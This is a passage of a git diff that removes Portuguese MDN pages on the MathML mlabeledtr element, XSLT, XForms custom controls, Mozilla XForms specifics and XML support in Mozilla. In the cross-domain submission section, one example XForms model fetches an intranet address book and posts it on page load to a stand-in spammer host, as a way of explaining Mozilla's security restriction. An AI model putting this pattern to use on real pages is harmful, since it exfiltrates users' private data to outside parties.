-</math>
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('MathML3', 'chapter3.html#presm.mlabeledtr', 'mlabeledtr') }}{{ Spec2('MathML3') }}Especificação atual
{{ SpecName('MathML2', 'chapter3.html#presm.mlabeledtr', 'mlabeledtr') }}{{ Spec2('MathML2') }}Especificação inicial
- -

Compatibilidade

- - - -

{{Compat("mathml.elements.mlabeledtr")}}

- -

Notas para Gecko

- -

A começar com Gecko 9.0 {{ geckoRelease("9.0") }} etiquetas são escondidas por pré-definição (mlabeledtr > mtd:first-child {display: none}) e não estragam a apresentação de tabelas por completo (ver {{ bug("356870") }}). Para ver a implementação deste elemento veja {{ bug("689641") }}.

- -

Ver também

- -
    -
  • {{ MathMLElement("mtable") }} (Tabela)
  • -
  • {{ MathMLElement("mtd") }} (Célula de tabela)
  • -
  • {{ MathMLElement("mtr") }} (Fila de Tabela)
  • -
diff --git a/files/pt-pt/orphaned/web/xslt/comunidade/index.html b/files/pt-pt/orphaned/web/xslt/comunidade/index.html deleted file mode 100644 index dd75cb7d13..0000000000 --- a/files/pt-pt/orphaned/web/xslt/comunidade/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Comunidade -slug: orphaned/Web/XSLT/Comunidade -original_slug: Web/XSLT/Comunidade ---- -

Grupo XSLT Portugal -

Onde XSLT é discutido em português para os portugueses. Este grupo dispõe de soluções práticas para problemas comums em XSLT e XPath, assim como, auxiliar principiantes ou menos experientes a resolverem problemas.

Embora o grupo seja dedicado especialmente ao XSLT, não quer dizer que outras tecnologias directamente ligadas não possam ser discutidas, tais como: XML, XPath, XQuery, XML Schema, Schematron, HTML, RSS, CSS, AJAX, etc.

Claro que seria preferível discutir o uso de tecnologias em que predomine o XSLT. -

http://groups.google.com/group/xslt-portugal -

diff --git a/files/pt-pt/orphaned/web/xslt/elementos/index.html b/files/pt-pt/orphaned/web/xslt/elementos/index.html deleted file mode 100644 index 083151d385..0000000000 --- a/files/pt-pt/orphaned/web/xslt/elementos/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Elementos -slug: orphaned/Web/XSLT/Elementos -tags: - - Referência_XSLT -original_slug: Web/XSLT/Elementos ---- -

-{{ XsltRef() }} -Existem dois tipos de elementos discutidos aqui: elementos de topo de nível e instruções. Um elemento de topo de nível deve aparecer como filho de qualquer <xsl:stylesheet> ou <xsl:transform>. Uma instrução, por outro lado, é associada com o modelo. Uma folha de estilo pode incluir vários modelos. Um terceiro tipo de elemento, não discutido aqui, é o elemento literal do resultado (LRE). Um LRE também aparece em um modelo. Ele consiste em qualquer elemento não-instrução que deva ser copiado como é para o resultado do documento, por exemplo, o elemento <hr> em uma folha de estilo de conversão HTML. -

Em uma nota relacionada, qualquer atributo em uma LRE e alguns atributos de um número limitado de elementos XSLT podem também ser incluídos como o valor de um atributo do modelo. Um valor de atributo do modelo é simplesmente uma string que inclui uma expressão XPath encaixada que é usada para especificar o valor de um atributo. Na hora de rodar a expressão é avaliada e o resulta da avaliação é substituido pela expressão XPath. Por exemplo, assumindo que a variável "<tt>image-dir</tt>" é definida pelo seguinte: -

-
<xsl:variable name="image-dir">/images</xsl:variable>
-

A expressão para ser avaliada é colocada no interior de chaves: -

-
<img src="{$image-dir}/mygraphic.jpg"/>
-

Isto resultaria no seguinte: -

-
<img src="/images/mygraphic.jpg"/>
-

As anotações do elemento que seguem incluem uma descrição, uma lista de sintaxe, uma lista de atributos requeridos e opcionais, uma descrição do tipo e posição, seu código na W3C Recommendation e uma explanação dos graus presentes do suporte Gecko. -

- -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }} diff --git a/files/pt-pt/orphaned/xforms/controles_customizados/index.html b/files/pt-pt/orphaned/xforms/controles_customizados/index.html deleted file mode 100644 index 0f427204e1..0000000000 --- a/files/pt-pt/orphaned/xforms/controles_customizados/index.html +++ /dev/null @@ -1,273 +0,0 @@ ---- -title: XForms Custom Controls -slug: orphaned/XForms/Controles_Customizados -tags: - - XForms -original_slug: XForms/Controles_Customizados ---- -

-

Proposta

-

Se você quer criar suas próprias formas dos controles XForm como input, output, trigger, etc., você está no lugar certo. Vamos mostrar tambem como criar controles que funcionam com o modelo XForms e são automaticamente atualizados como os controles XForms. A proposta deste artigo é de fornecer informações suficientes para permitir-lhe um bom início. Para realmente entender as seguintes informações é necessário um bom entendimento de XForms, XBL, JavaScript e CSS. Conhecimentos em XPCOM certamente não farão mal. Mas mesmo que você tenha conhecimentos em sómente algumas destas tecnologias, esperamos que as possibilidades delineadas abaixo o inspirem a aprender mais onde fôr necessário. -

-

Status de implementação

-

O sistema que usamos no processador Mozilla XForms é muito um "trabalho em andamento". Por favor mantenha em mente que tudo que mencionamos aqui pode mudar de algum maneira assim que continuamos a trabalhar no assunto. O trabalho já começou no W3C XForms Working Group a investigar o assunto de controles customizadas, assim eventualmente (esperamos?)que vai existir um caminho "oficial" e comum de customizar suas máscaras de interface de usuário em todos os processadores XForm. -

-

Porque é necessário

-

Você provávelmente vai achar que suas necessidades de customização se encaixam numa das seguintes categorias: -

-
  • apresentação customizada - controles XForms como as realizadas no processador Mozilla XForms não lhe fornecem a aparência certa. -
  • tipos de dados customizadas - controles Xforms existentes não estão aptos a trabalhar apropriamente seus tipos de dados -
  • controles XForms avançados - você necessita que seus controles estejam aptos a fazer mais coisas que os controles XForms tradicionais -
  • nova linguagem de hospedagem- você quer suportar XForms em linguagems de hospedagem diferentes de XHTML ou XUL -
-

Apresentação customizada

-

A extensão Mozilla XForms não pode antecipar todas as possibilidades de uso que vão ser envolvidas em aplicações e páginas web quando XForms amadurece e a base de usuários cresce. E com estas novas formas de usar mais e mais flexibilidade vai ser exigida dos controles. Introduzindo controles customizadas ao seu ambiente pode ser a solução que está procurando. Por exemplo, você pode estar querendo render imagens que estão sendo mantidos dentro de um documento de instancia ou querer mostrar um trigger deshabilitado quando seu nó se torna irrelevante em vez de não mostrá-lo (o atual comportamento padrão). -

Toda apresentação de controle XForms possui seu próprio XBL binding. Em muitos casos valores diferentes fornecidos para os atributos appearance ou mediatype vão determinar qual XBL binding será usado para um controle XForms particular. Como mencionado na especificação, o atributo appearance pode ser usado para influenciar a aparência do controle mesmo que todas as outras condições permanecam constantes. Por exemplo, na extensão Mozilla XForms vamos render uma combobox widget ao appearance='minimal' num controle select1. Se o autor do formulário escolher um appearance='compact' neste controle, vamos desenhar uma listbox widget. Aqui é uma forma fragmentada do nosso arquivo .css para mostrar o tipo de regra CSS que usariamos para tal determinação. -

-
xf|select1[appearance="compact"] {
-  -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact');
-}
-
-

O atributo mediatype pode ser usado pelo autor do formulário para alinhar o tipo de apresentação com o tipo de data que o bound instance node contém. Por exemplo, se mediatype='image/*' então o usuário deve ver a imagen que os bytes representam em vez da sequência de bytes. -

-
xf|output[mediatype^="image"] {
-  -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyURI');
-}
-
-

Tipos de dados customizados

-

Se definir um novo tipo de dado esquemático ou usar tipo de data built-in e achar os controles XForms atuais insuficientes, então deve escrever um novo controle customizado. Por exemplo se tiver um nó de instância do tipo xsd:date e quiser que os dados sejam visualizados num formato local. -

Em Mozilla, cada controle XForms ligado tem um atributo typelist de mozType que contém o espaço de nome da cadeia herdada dos tipo de dados que detectamos. O espaço de nome mozType é introduzido pela implementação de Mozilla XForms e suas URI é http://www.mozilla.org/projects/xforms/2005/type. Por exemplo, se um controle é ligado a um nó do tipo xsd:integer e então o atributo typelist será "http://www.w3.org/2001/XMLSchema#integer http://www.w3.org/2001/XMLSchema#decimal". Isto é porque xsd:integer é herdado do tipo de dado xsd:decimal. Recomendamos que use este atributo para criar a regra de ligação CSS para seu controle customizado. Isto lhe permite ligar seu controle customizado para o tipo de dado que está desejando e todo tipo derivado deste tipo desejado. Então se quiser um input ligado a um nó de instância do tipo integer (e todos os tipos derivados de integer), você usaria: -

-
@namespace xf url(http://www.w3.org/2002/xforms);
-@namespace mozType url(http://www.mozilla.org/projects/xforms/2005/type);
-
-xf|input[mozType|typelist~="http://www.w3.org/2001/XMLSchema#integer"] {
-  -moz-binding: url('chrome://xforms/content/input-xhtml.xml#xformswidget-input-integer');
-}
-
-

Controles XForms Avançados

-

Vão existir momentos em que precisa de um controle muito específico a sua tarefa mas também quer que funcione com modelos XForms e nós de instância como um controle XForms regular. A esspecificação XForms fornece uma bela maneira de realizar isto usando atributos ligados XForms (como ref, ou nodeset) no seu elemento de controle customizado. Porém, a implementação de Mozilla XForms atualmente não suporta esta aproximação. Mas existe um caminho para alcançr o mesmo resultado. Você pode pôr os controles dentro da sua ligação XBL. Note que deve assegurar que os controles XForms incorporados funcionam com o tipo de dados do nó de instância ao que seu controle está ligado. Para lhe dar uma ideía sobre o que estamos falando veja a seguir: -

-
<content>
-  <xf:input xbl:inherits="ref=ref1" anonid="ref1"/>
-  <xf:input xbl:inherits="ref=ref2" anonid="ref2"/>
-</content>
-
-<implementation>
-  <method name="refresh">
-    <body>
-      // Aqui devemos renovar o controle customizado.
-    </body>
-  </method>
-
-  <constructor>
-    // Devemos redirecionar chamadas do modo de inputs 'refresh' para controles customizados 'refresh'.
-    var control = this;
-    var refreshStub = function() {
-      control.refresh();
-    }
-
-    this.ref1.refresh = refreshStub;
-    this.ref2.refresh = refreshStub;
-  </constructor>
-
-  <property name="ref1" readonly="true"
-            onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref1');"/>
-  <property name="ref2" readonly="true"
-            onget="return this.ownerDocument.getAnonymousElementByAttribute(this, 'anonid', 'ref2');"/>
-</implementation>
-
-

Nova linguagem Host

-

A implementação Mozilla XForms atualmente somente suporta XForms hospedados em documentos XHTML ou XUL. Se precisar XForms em outros tipos de documentos como SVG, MathML ou alguma outra marca de linguagem que Mozilla suporta, então precisa implementar controles XForms para o formato de documento desejado. A implementação XForms tem ligações básicas XBL para cada controle XForms. Vocè pode escrever ligações de implementação que vão herdar as ligações básicas. Por exemplo, cada implementação de controle output extende a ligação básica xforms.xml#xformswidget-output-base. As peças específicas XHTML de nossa implementação de output é mantido na liagação xforms-xhtml.xml#xformswidget-output. Se desenvolvedores como você quiserem fazer este tipo de trabalho heróico eão por favor contate os desenvolvedores do Mozilla XForms antes de iniciar. Esperamos poder ajudá-lo em evitar um monte de frustração e desespéro:). -

-

Resumo

-

Os controles Mozilla XForms são largamente implementados usando XBL e as ligações são aplicados aos tags de controle individuais XForms via CSS. Assim sempre pode referir-scom nossas atuais e ao nosso source code para obter alguns grandes exemplos de como controles XForms são escritos. Isto também lhe permite estar por dentro das nossas atuais atualizações (muitas vezes o resultado de duras lições) e esperamos que o ajude a escrever seus próprios controles mais facilmente. Para iniciar, realmente só precisa saber a linguagem aonde quer usar XForms (como XHTML ou XUL), alguns XBL e JavaScript, e a interface XPCOM que estamos mostrando. -

-

Detalhes

-

Interfaces

-

Esta secção descreve interfaces que deve conhecer. Existem dois grupos principais de interfaces -> callback interfaces que precisam ser implementados pelos controles customizados e as interfaces que controles customizados podem usar para acessar a Mozilla XForms engine. -

-
nsIXFormsUIWidget
-

Todo controle customizado deve implementar a interface nsIXFormsUIWidget. Esta interface é usada pelo modulo XForms para interagir com o controle básico. De acordo com as regras do XForms, por exemplo, quando o controle precisa ser atualizado, é chamado o método refresh pelo processador. Abaixo encontra-se a estrutura da interface. Como sempre por favor veja diretamente o source code para estar seguro que está usando a versão mais recente: {{ Source("extensions/xforms/nsIXFormsUIWidget.idl") }}. -

-
interface nsIXFormsUIWidget : nsIDOMElement
-{
-  /**
-   * É chamada quando o controle deve ser atualizado para refletir o valor do nó ligado.
-   */
-  void refresh();
-
-  /**
-   * É chamado quando o foco é avançado sobre o elemento XForms.
-   */
-  boolean focus();
-
-  /**
-   * É chamado quando o controle deve ser desabilitado.
-   * Isto realmente só se aplica ao elemento submetido.
-   */
-  void disable(in boolean disable);
-
-  /**
-   * É chamado para obter o valor atual do controle.
-   */
-  string getCurrentValue();
-}
-
-

Notas: -

-
  • getCurrentValue() deve retornar o valor do controle como visto pelo usuário. O valor atual de um controle pode ser diferente do valor do nó ligado em casos onde @incremental='false'. -
  • disable() é chamado pelo processador XForms para indicar a um elemento submetido que precisa desabilitar/habilitar devido ao começo/fim de um processo de submissão. Atualmente não tem nenhum sentido fora deste contexto. -
  • focus() é usado pelo processador para comunicar ao controle que ele está recebendo foco através de uma das várias maneiras (p.ex. através de xf:setfocus action) e que o controle precisa assegurar que o widget apropriado está recebendo foco. -
-

Com raras exceções seu controle precisa somente implementar a interface nsIXFormsUIWidget. Mas certos controles XForms precisam implementar interfaces adicionais. Tais elementos incluem upload e case. -

-
nsIXFormsAccessors
-

A interface nsIXFormsAccessors permite acessar o valor e o estado do nó de instância ao qual o controle está ligado (veja {{ Source("extensions/xforms/nsIXFormsAccessors.idl") }}). Interface atual é: -

-
interface nsIXFormsAccessors : nsISupports
-{
-  /**
-   * Valor de retorno do nó de instância.
-   */
-  DOMString getValue();
-
-  /**
-   * Valor nominal do nó de instância.
-   */
-  void setValue(in DOMString value);
-
-  /**
-   * Retorna verdadeiro se o nó de instância é readonly como determinado pelo MDG.
-   */
-  boolean isReadonly();
-
-  /**
-   * Retorna verdadeiro se o nó de instância é relevante como determinado pelo MDG.
-   */
-  boolean isRelevant();
-
-  /**
-   * Retorna verdadeiro se o nó de instância é requerido como determinado pelo MDG.
-   */
-  boolean isRequired();
-
-  /**
-   * Retorna verdadeiro se o nó de instância é válido como determinado pelo MDG.
-   */
-  boolean isValid();
-
-  /**
-   * Retorna verdadeiro se o controle é ligado ao nó de instância.
-   */
-  boolean hasBoundNode();
-
-  /**
-   * Retorna o nó de instância ligado.
-   */
-  nsIDOMNode getBoundNode();
-
-  /**
-   * Setar o conteúdo do nó de instância. Se um ForceUpdate é verdadeiro então o
-   * modelo XForms será reconstruído/recalculado/revalidado/renovado.
-   */
-  void setContent(in nsIDOMNode aNode, in boolean aForceUpdate);
-}
-
-

note: setContent() pode ser usado para colocar complexContent (mistura de texto e nós elementares) sob o nó ligado ao controle. Favor verificar os comentários no arquivo fonte .idl para maiores informações sobre como usar este método. -

-

Ligações XBL

-

A maioria dos elementos de controle XForms tem no mínimo duas ligações aplicadas a si mesmas. Uma é a ligação básica que implementa o comportamento do núcleo do controle XForms. A outra é a ligação de impelmentação que adiciona a representação específica da linguagem do host do controle XForms. Um exemplo do mencionado é a ligação que usa um html:input como conteúdo anônimo de um elemento xforms:input quando este é hospedado num documento XHTML. -

Nossa extenção XForms usa o seguinte formato para nomes de arquivos. O nome do arquivo onde são localizadas as ligações básicas de um controle é controlfile.xml. controlfile-xhtml.xml contém as ligações de implementação XHTML para o controle e controlfile-xul.xml contém as ligações de implementação quando este controle é hospedado num documento XUL. A seguinte lista mostra onde estão definidas as ligações básicas de nosso controle XForms: -

-
  • xforms.xml - contém as ligações básicas para controles XForms output, label, trigger, submit, case, message, hint, help, alert, upload e repeat . -
  • input.xml - contém as ligações básicas para controles XForms input, secret e textarea. -
  • select.xml - contém as ligações básicas para controles XForms select e select1 (exceto minimal/default select1 que está hospedado no arquivo select1.xml) -
  • range.xml - contém as ligações básicas para controles XForms range. -
-

xforms.xml também define as poucas ligações básicas comuns para todos os controles XForms. Estes são: -

-
  • xformswidget-general - define propriedades utilitárias e métodos comuns para todos os controles XForms. -
  • xformswidget-accessors - define os métodos que permitem às ligações de trabalhar com nós de instância ligados e com o próprio elemento XForms. -
  • xformswidget-base - implementa interfaces nsIXFormsUIWidgets. -
-

Você está livre em escolher qual tipo de ligação para seu controle customizado fornecerá à fundação. Normalmente será uma das ligações de implementação ou uma das básicas. -

-

Exemplo

-

Uma coleção de exemplos de controles customizados pode ser encontrada em XForms:Custom Controls Examples, e você também pode ver os blogs "Compreendendo XForms: Customização". -

Aqui está um exemplo completo que define um novo controle de saída que carrega seu valor como uma imagen. Ele está ligado a <xf:output mediatype="image/*"/> imitando o atual XForms 1.1 draft: -

-
<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml"
-      xmlns:xf="http://www.w3.org/2002/xforms">
-  <head>
-    <title>Custom Image Control Sample</title>
-
-    <bindings id="xformsBindings"
-	      xmlns="http://www.mozilla.org/xbl"
-	      xmlns:html="http://www.w3.org/1999/xhtml">
-
-      <binding id="output-image"
-	       extends="chrome://xforms/content/xforms.xml#xformswidget-base">
-	<content>
-	  <html:div>
-	    <html:img anonid="content"/>
-	  </html:div>
-	</content>
-
-	<implementation implements="nsIXFormsUIWidget">
-	  <method name="refresh">
-	    <body>
-              <!--
-                set the src attribute on the html:img to be the simpleContent
-                of the instance node bound to this control
-              -->
-	      var img = document.getAnonymousElementByAttribute(this, "anonid", "content");
-	      img.setAttribute("src", this.stringValue);
-	      return true;
-	    </body>
-	  </method>
-	</implementation>
-      </binding>
-    </bindings>
-
-    <xf:model>
-      <xf:instance xmlns="">
-	<data>
-	  <curimg></curimg>
-	  <img label="Firefox">http://www.mozilla.com/images/firefox-logo-64x64.png</img>
-	  <img label="Thunderbird">http://www.mozilla.com/images/thunderbird-logo-64x64.png</img>
-	  <img label="Bugzilla">http://www.mozilla.org/images/p-bugz.gif</img>
-	  <img label="Mozilla">http://www.mozilla.org/images/mozhead-80x64.gif</img>
-	</data>
-      </xf:instance>
-    </xf:model>
-
-    <style type="text/css">
-      @namespace xf url(http://www.w3.org/2002/xforms);
-
-      xf|output[mediatype="image/*"] {
-        -moz-binding: url('#output-image');
-      }
-    </style>
-  </head>
-  <body>
-    <h1>Custom Control Sample</h1>
-
-    <xf:select1 ref="curimg">
-      <xf:label>Select image to display: </xf:label>
-      <xf:itemset nodeset="../img">
-	<xf:label ref="@label"/>
-	<xf:value ref="."/>
-      </xf:itemset>
-    </xf:select1>
-
-    <xf:output ref="curimg" mediatype="image/*"/>
-
-  </body>
-</html>
-
-

Categorias -

Interwiki links de idiomaspt-br:XForms:Controles Customizados -

{{ languages( { "en": "en/XForms/Custom_Controls" } ) }} diff --git a/files/pt-pt/orphaned/xforms/index.html b/files/pt-pt/orphaned/xforms/index.html deleted file mode 100644 index 4de5b88992..0000000000 --- a/files/pt-pt/orphaned/xforms/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: XForms -slug: orphaned/XForms -tags: - - XForms -original_slug: XForms ---- -

-

-
XForms Essentials
-An online book giving you a guided tour of XForms.
-


-

-
XForms is the future of online forms as envisioned by the W3C. Drawing on other W3C standards like XML Schema, XPath, and XML Events, XForms tries to address some of the limitations with the current HTML forms model. Other strengths that XForms brings to the table is the separation of data from presentation, strong data typing, the ability to submit XML data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. XForms is a W3C specification.
-
XForms Tutorial and Cookbook
-XForms in Wikibook Format - Over 50 examples tested with FireFox.
-
-

XForms support can be added to Firefox and SeaMonkey by installing the Mozilla XForms Extension. -

-
- - -
-

Documentation

-
Troubleshooting tips for XForms -
A small collection of tips for troubleshooting common problems with XForms forms. -
-
Mozilla XForms specials -
Explains where, and how, Mozilla XForms deviates or extends the XForms 1.0 specification. -
-
XForms custom controls -
Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG input control. -
-
XForms user preferences -
A description of the about:config variables that XForms uses. -
-
XForms API reference -
XForms interfaces documentation. -
-
XForms UI Elements reference -
XForms user interface elements documentation. -
-

View All... -

-
-

Community

-
  • View Mozilla forums... -
-

{{ DiscussionList("dev-tech-xforms", "mozilla.dev.tech.xforms") }} -

- -

Tools

- -

View All... -

- -
Extensions, HTML, XHTML, XML, XPath -
-
-

Categories -

Interwiki Language Links -


-

{{ languages( { "fr": "fr/XForms", "it": "it/XForms", "ja": "ja/XForms", "pl": "pl/XForms", "es": "es/XForms" } ) }} diff --git a/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html b/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html deleted file mode 100644 index 895d600822..0000000000 --- a/files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Mozilla XForms Specials -slug: orphaned/XForms_especiais_para_Mozilla -tags: - - XForms -original_slug: XForms_especiais_para_Mozilla ---- -

-

Introdução

-

Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas. -

-

Limitações

-

Repetição usando atributos

-

De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado. -

(limitação acompanhada no {{ Bug(280368) }}) -

-

Mistura de Repetição e table ou ul

-

Não é possível misturar repetições tanto com table ou ul. Isto significa que não é possível fazer o seguinte: -

-
-
<table>
-  <xf:repeat ...>
-    <tr> ... </tr>
-  </xf:repeat>
-</table>
-
-
-

ou -

-
-
<ul>
-  <xf:repeat ...>
-    <li> ... </li>
-  </xf:repeat>
-</ul>
-
-
-

Section 9.3.2 determina que a mistura com table provávelmente nunca funcionará. A mistura com ul pode sofrer a mesma limitação mas não deve travar o sistema ({{ Bug(330022) }}). -

-

Suporte a pseudo classes

-

Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled, etc. ), exceto para :read-only e :read-write, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only e :-moz-read-write. -

(limitação acompanhada no {{ Bug(313111) }}) -

-

Suporte a pseudo elemento

-

Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index ). Você deve usar as seguintes classes normais: -

-
  • xf-value -
  • xf-repeat-item -
  • xf-repeat-index -
-

Por exemplo, para direcionar o elemento valor de um controle input use: -

-
@namespace xf url("http://www.w3.org/2002/xforms");
-xf|input .xf-value {
-  ...
-}
-
-

Os pseudo elementos são definidos na CSS3 Especificação básica de usuário . -

(limitação acompanhada no {{ Bug(271724) }}) -

-

Extensões

-

Enumerando Instâncias

-

O nsIXFormsModelElement standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No Extensões Mozilla XForms adicionamos a função getInstanceDocuments() ao model que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no nsIXFormsNSModelElement. -

-

Chegando ao elemento de instância a partir de um nó de dados

-

Na especificação XForms 1.0 não existe caminho de chegar ao elemento instance desde um nó de dados de instância. Adicionamos uma função através de chamado getFeature() em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se instanceNode é um nó num documento de instância, então: -

-
instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
-
-

retornará elemento <instance> (no documento principal) ao que o nó pertence. -

-

Chegando ao documento de instância através do elemento de instância

-

Pela especificação XForms 1.0 deve passar pelo elemento model para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento instance, então nós adicionamos uma função getInstanceDocument() diretamente no elemento instance como um atalho. Isso está documentado em nsIXFormsNSInstanceElement. -

-

Interface de controle customizada

-

Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem controles customizados. Isto envolve a exposição de algumas funcionalidades (script) em todos nossos controles, como output, input, etc. e permitindo à interface de usuário ser representada em XBL. Mais informação pode ser encontrada em Controles Customizados. -

-

Miscelânea

-

Submissão de Domínio Cruzado

-

Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança.  Informações sobre como o domínio whitelist pode ser encontrado em Release Notes

-

A checagem de domínio cruzado também inclui formulários carregados de file://. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um "whitelisting" de arquivos locais automático.

-

Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:

-
<xforms:model>
-  <xforms:instance src="http://intranetserver/addrbook.xml"/>
-  <xforms:submission id="sub" action="http://megaspammer.com/gather"
-                     method="post"/>
-  <xforms:send submission="sub" ev:event="xforms-ready"/>
-</xforms:model>
-
-

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/XForms/Mozilla_XForms_Specials" } ) }}

diff --git a/files/pt-pt/orphaned/xml_no_mozilla/index.html b/files/pt-pt/orphaned/xml_no_mozilla/index.html deleted file mode 100644 index 37d06fdbe2..0000000000 --- a/files/pt-pt/orphaned/xml_no_mozilla/index.html +++ /dev/null @@ -1,237 +0,0 @@ ---- -title: XML no Mozilla -slug: orphaned/XML_no_Mozilla -tags: - - PrecisaDeAtualização - - PrecisaDeRevisãoTécnica - - Todas_as_Categorias - - XML -original_slug: XML_no_Mozilla ---- -

-

O Mozilla tem amplo suporte ao XML. Várias Recomendações World Wide Web Consortium (W3C) e esboços de especificações da família XML são suportados, assim como outras tecnologias relacionadas. -

-
-

Esta página está desatualizada. Por favor ajude atualizando-a com informações atuais. -

-
-

Recomendações suportadas pelo núcleo XML W3C

-

O núcleo do suporte XML inclui analizar o XML sem a validação (nós utilizamos o Expat parser), indicando o XML com CSS, manipulando documentos XML com scripts via DOM, associando estilos com documentos XML, e namespaces em XML. O núcleo de suporte é muito bom para poucos bugs. -

-

DTDs e outras Entidades Externas

-

O Mozilla não carrega entidades externas da web.

Ele pode carregar as entidades externas cujo o identificador do sistema usa o protocolo chrome. Esta característica é principalmente usada para localizar diferentes idiomas (as strings da interface de usuário são armazenadas em arquivos DTD externos). Uma outra exceção é uma entidade cujo o identificador do sistema seja um path relativo, e a declaração do XML indica que o documento não é autônomo(padrão), em cada caso, o Mozilla tentará procurar a entidade sob o diretório <tt><bin>/res/dtd</tt>.

O Mozilla pode também gerar uma exceção com documentos XHTML, veja abaixo. -

Ele tentará ler um subconjunto DTD interno, ou externo como explicado acima, e tentará usar essa informação para reconhecer o ID do tipo do atributo, valores dos atributos padrão e entidades gerais. -

-

Outras Notas

-

Muito do Document Object Model (DOM, W3C) aplica-se para XML. Do mesmo modo, a folhas de estilos (CSS) (CSS, W3C) podem ser usado para documentos XML. -

O código para a maioria do núcleo XML pode ser encontrado nos seguintes diretórios no servidor Mozilla CVS: content/xml/, parser/expat/ e parser/htmlparser. -

O grupo de notícias para discução de XML no Mozilla depende um pouco, da natureza da pergunta. -Por exemplo, questões relacionadas a DOM pode ser discutida provavelmente em mozilla.dev.tech.dom newsgroup, enquanto os estilo devem ser discutidos em mozilla.dev.tech.css e assim por diante. Para ter todas os grupos de notícias em XML é mozilla.dev.tech.xml. -

- - - - - - - - - - - - -
Especificações ou tecnologia -Status e/ou informãções adicionais -
XML -W3C Recommendation -
Namespaces em XML -W3C Recommendation -
Associando Estilos Com Documentos XML -W3C Recommendation -
Estilizando documentos XML com CSS - -
Manipulação de Documentos XML com scripts atrávez de DOM - -
-

Otras Recomendações Suportadadas pela W3C para XML

- - - - - - - - - - - - - - - - - - - - - - -
Especificações ou Tecnologia -Documentação -
XHTML -W3C -
XML Base (somente links, não use para :visited etc. propriedades CSS) -W3C -
XLink (somentes simples XLinks) -W3C -
FIXptr -W3C "proposal" -
XPointer Framework -W3C -
XPointer element() -W3C -
XPointer xmlns() -W3C -
XPointer fixptr() -Somente um envoltório FIXptr -
XPointer xpath1() -Internet-Draft -
document.load(), document.async -Part do DOM Level 3 Load & Save módulo, um esboço W3C -
-

XHTML

-

Nós temos um suporte XHTML razoável, muitas coisas devem ser trabalhadas. Tratamos os arquivos XHTML diferentemente, dependendo do mime type (ou o sufixo do arquivo, caso ele tenha sido carregado localmente). Arquivos que são do caminho do código HTML não são checados para ver se estão bem formatados. Você verá também que nem todas as características do XHTML são suportadas quando você exercita o caminho do código HTML. -

- - - - - - -
MIME Type -Extensão do Arquivo -Caminho do Código -
text/xml
application/xml
application/xhtml+xml -
xml
xht
xhtml -
XML -
text/html -html
htm -
HTML -
-

O documento inteiro não precisa ser um XHTML. Você pode usar elementos XHTML dentro de um documento XML arbitrário por usar namespace XHTML. Veja a sessão Testing and QA por exemplo. O namespace XHTML correto é http://www.w3.org/1999/xhtml -

Note que as entidades XHTML, como &auml;, Trabalham somente em conformidade com documentos XHTML que tenham um Formal Public Identifier (ou em outras palavras, uma sessão DOCTYPE com um identificador PUBLIC). Entidades XHTML não trabalham com documentos XML arbitrátios, mesmo se o namespace XHTML está sendo usado. Os identificadores públicos que são reconhecidos são: -

-
-//W3C//DTD XHTML 1.0 Transitional//EN
--//W3C//DTD XHTML 1.1//EN
--//W3C//DTD XHTML 1.0 Strict//EN
--//W3C//DTD XHTML 1.0 Frameset//EN
--//W3C//DTD XHTML Basic 1.0//EN
--//W3C//DTD XHTML 1.1 plus MathML 2.0//EN
--//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN
--//W3C//DTD SVG 20001102//EN
--//WAPFORUM//DTD XHTML Mobile 1.0//EN
-
-

XML Linking e Pointing

-

O suporte a XML Linking inclui XML Base (usado somente quando você move o cursor sobre um link ou clica em um link) e simples XLinks. Você pode colocar qualquer elemento XML em um XLink usando o XLink namespace http://www.w3.org/1999/xlink. Você pode também usar os elementos de linking do XHTML namespace. Veja a sessão Testing and QA para amostras. -

